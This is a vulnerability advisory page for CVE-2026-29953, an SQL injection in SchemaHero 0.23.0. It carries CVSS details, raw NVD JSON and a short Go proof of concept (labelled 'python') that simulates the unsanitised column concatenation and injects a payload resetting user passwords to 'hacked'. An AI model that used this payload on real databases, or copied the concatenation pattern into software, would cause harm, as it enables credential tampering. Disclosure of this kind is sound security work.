Security Vulnerability Report
中文
CVE-2026-29953 CVSS 7.4 HIGH

CVE-2026-29953

Published: 2026-03-30 16:16:04
Last Modified: 2026-04-02 20:10:43

Description

SQL Injection vulnerability in SchemaHero 0.23.0 via the column parameter to the columnAsInsert function in file plugins/postgres/lib/column.go.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:schemahero:schemahero:*:*:*:*:*:*:*:* - VULNERABLE
SchemaHero 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" ) // Simulating the vulnerable function in plugins/postgres/lib/column.go func vulnerableColumnAsInsert(tableName string, column string, value string) string { // Vulnerability: Direct string concatenation of the 'column' parameter // without sanitization or parameterized queries. return fmt.Sprintf("INSERT INTO %s (%s) VALUES ('%s')", tableName, column, value) } func main() { // Scenario: Normal usage normalSql := vulnerableColumnAsInsert("users", "username", "admin") fmt.Println("Normal SQL:", normalSql) // Scenario: Exploitation via SQL Injection // Payload: ') ON CONFLICT (username) DO UPDATE SET password='hacked'; -- // This attempts to break out of the column definition and inject logic. maliciousPayload := "username) ON CONFLICT (username) DO UPDATE SET password='hacked'; --" exploitSql := vulnerableColumnAsInsert("users", maliciousPayload, "admin") fmt.Println("Exploited SQL:", exploitSql) // Resulting SQL would look like: // INSERT INTO users (username) ON CONFLICT (username) DO UPDATE SET password='hacked'; --) VALUES ('admin') }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29953", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:04.433", "lastModified": "2026-04-02T20:10:42.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection vulnerability in SchemaHero 0.23.0 via the column parameter to the columnAsInsert function in file plugins/postgres/lib/column.go."}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL en SchemaHero 0.23.0 a través del parámetro column a la función columnAsInsert en el archivo plugins/postgres/lib/column.go."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 3.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:schemahero:schemahero:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.23.0", "matchCriteriaId": "66D6AE8B-3D4C-4AB1-9176-EA0DEF149589"}]}]}], "references": [{"url": "https://gist.github.com/b0b0haha/fb59199fb1fdf9414e76442e0599bfed", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/b0b0haha/SchemaHero--Sqlinjection/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}